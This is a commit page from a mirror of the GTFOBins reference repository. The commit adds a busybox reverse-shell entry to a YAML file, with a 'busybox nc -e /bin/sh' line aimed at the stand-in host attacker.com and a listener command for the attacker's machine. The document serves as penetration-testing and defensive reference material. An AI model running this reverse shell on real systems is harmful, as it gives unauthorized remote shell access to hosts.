1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Added reverse shell functionality to busybox if "busybox nc" is available

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
astor9 2023-12-23 13:03:05 +01:00 committed by GitHub
parent afadeeb61e
commit a5a1f86b97
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -21,4 +21,10 @@ functions:
code: "./busybox sh"
sudo:
- code: sudo busybox sh
reverse-shell:
- description: Run `nc -lvp 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
busybox nc -e /bin/sh $RHOST $RPORT
---